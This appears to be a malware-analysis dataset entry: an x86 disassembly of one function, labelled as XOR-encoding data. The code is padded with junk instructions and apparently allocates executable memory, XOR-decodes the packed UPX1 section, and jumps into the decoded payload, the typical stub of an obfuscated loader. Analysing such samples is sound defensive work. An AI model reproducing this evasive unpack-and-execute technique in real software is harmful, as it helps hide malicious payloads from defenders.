Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc13958c1
sub esi, 0xfdb2992
and esi, esi
sub esi, 0x4b7a1a2
popal
dec esi
add esi, 0x40a19f93
mov edi, 0
mov esi, ebx
sub edx, 0x7e7abec8
mov ecx, 0x94c1fa87
mov ecx, 0x6fbcbfba
mov eax, esi
dec edx
add ecx, ecx
mov ebx, eax
add edx, 0x542c1ac1
dec ecx
sub ecx, 0x5b7311dc
inc edi
sub edx, 0xfdd19642
add ecx, 0x4ebe04b5
cmp edi, 0x10034c6
jne 0x47afd9
sub edx, 0x2a953ff8
not ecx
and edx, ecx
cmp edi, 0x10034c6
je 0x47b031
mov eax, 0
mov ecx, dword [eax]
dec edx
or edx, ecx
sub edx, ecx
mov esi, 0x26404eb5
add edx, edx
mov edi, 0x47ada2
and eax, eax
sub ecx, 0xd22586c3
mov esi, 0x47af96
add ecx, 0xe63074a7
add eax, 0x6c817042
mov edx, dword [edi]
not eax
mov eax, ebx
add ebx, eax
and edx, 0xff
inc ecx
sub ecx, 0xdf308801
xor dword [esi], edx
and ecx, ecx
or eax, ebx
sub eax, 1
inc esi
not ebx
mov ecx, eax
inc edi
dec eax
sub ecx, 1
mov ecx, 0x6b1f9930
cmp esi, entry0
jl 0x47b05b
mov ebx, ecx
not ecx
add ecx, 1
add eax, 0x75455df0
inc ebx
mov eax, ebx
or edx, esi
add esi, 0x1b138f31
mov ecx, 0x47af9a
mov esi, 0xc74d23c6
mov esi, 0xeb1879ae
mov ecx, dword [ecx]
not esi
add edi, 1
mov ecx, dword [ecx]
add esi, edx
sub edx, 1
sub ebx, edx
sub esp, 4
mov dword [esp], ecx
not esi
add esi, 0xdf3897
mov ebx, 0x8c695b20
mov ecx, 0x47af96
or esi, edi
add edx, 0xbfd06751
not edx
mov ecx, dword [ecx]
mov ebx, esi
and ebx, edx
add esi, 1
mov ecx, dword [ecx]
sub esi, edx
sub edi, 0x48f81d92
mov edx, edi
push 0x47af9e
or ebx, esi
dec edx
call ecx
add ebx, 1
not edx
not ebx
pop ecx
sub edi, 0x62861402
mov ebx, edi
push 0x47afab
and edx, edx
mov edi, 0xde5968cc
push eax
add edi, edi
mov edi, 0x8ed175de
call ecx
mov ebx, 0xedae7a51
mov ebx, 0x72fcf58a
dec esi
sub esp, 4
mov dword [esp], 0x40
and edi, esi
or ebx, edi
or ebx, ebx
push 0x3000
inc esi
sub edi, 0x8ccd20bf
push 0x20000360
or edx, esi
or esi, ebx
mov ebx, 0xb901f322
push 0
and edx, edx
sub esi, 0x26809ff8
call eax
not esi
sub esi, 1
add eax, 0x200002eb
add esi, 0x936f2194
mov ebx, 0x1e05e372
sub ebx, edx
mov ecx, 0xed388e8
sub esi, edx
and ebx, ebx
inc edi
mov dword [eax], ecx
or edx, esi
inc edx
add edx, 0x749dd0f0
mov ecx, dword [eax]
sub edi, edx
add ebx, 1
or edi, edx
cmp ecx, 0xed388e8
je 0x47b1d6
mov ecx, 0
mov dword [ecx], eax
or ebx, edx
sub edx, 0x6e058bb2
sub ebx, 0x59296585
add ebx, edi
inc esi
or esi, edx
mov esi, edx
mov ebx, section.UPX1
mov edx, esi
mov edx, 0x5ce210aa
add edx, 1
mov edi, 0x47ada1
sub edx, esi
mov esi, 0x7badca8d
mov ecx, 0
mov edx, 0xe3733df9
or edx, esi
dec esi
mov eax, 0x47ada2
not edx
inc esi
sub esi, edx
lea eax, [ecx + eax]
not edx
add esi, esi
mov eax, dword [eax]
sub esi, edx
mov edx, 0xb7d4a41
sub esi, 0x32b3f6c5
and eax, 0xff
or esi, edx
mov esi, 0x45658bdf
inc ecx
mov edx, 0x8e54a7f8
add edx, esi
and edx, edx
cmp ecx, 0x1f4
jne 0x47b25a
mov ecx, 0
inc esi
or edx, edx
and edx, edx
mov esi, 0x184c04d0
mov edx, 0xdeee03d7
xor dword [ebx], eax
not esi
dec edx
add edx, 1
add ebx, 2
add esi, edx
add esi, 0x7830d51a
cmp ebx, edi
jl 0x47b216
mov edx, esi
mov edx, 0x6b5fee11
or edx, esi
and esi, edx
mov edx, section.UPX1
add eax, eax
add eax, 0x59d18716
mov esi, section.UPX1
or ecx, eax
not eax
mov eax, 0xfcb1effc
mov edi, 0x47ada1
dec eax
add ecx, eax
sub eax, 0xbc9a9f7b
mov ebx, 0
not ecx
or ecx, ecx
mov bl, byte [esi]
add ecx, 0x693dfe1e
sub eax, 0x93f27a23
mov byte [edx], bl
mov ecx, 0xa376d4e8
mov eax, ecx
mov ecx, 0x4a2896d7
inc edx
and eax, eax
inc ecx
add esi, 2
inc eax
add eax, 0xba86bfb7
sub eax, 0x1d6fcec7
cmp esi, edi
jle 0x47b2c7
add eax, eax
and eax, ecx
add eax, 0x830f61f6
sub esi, 0x5e0b8228
add esi, esi
push 0x45e6a0
add edx, edx
or edx, edx
inc esi
ret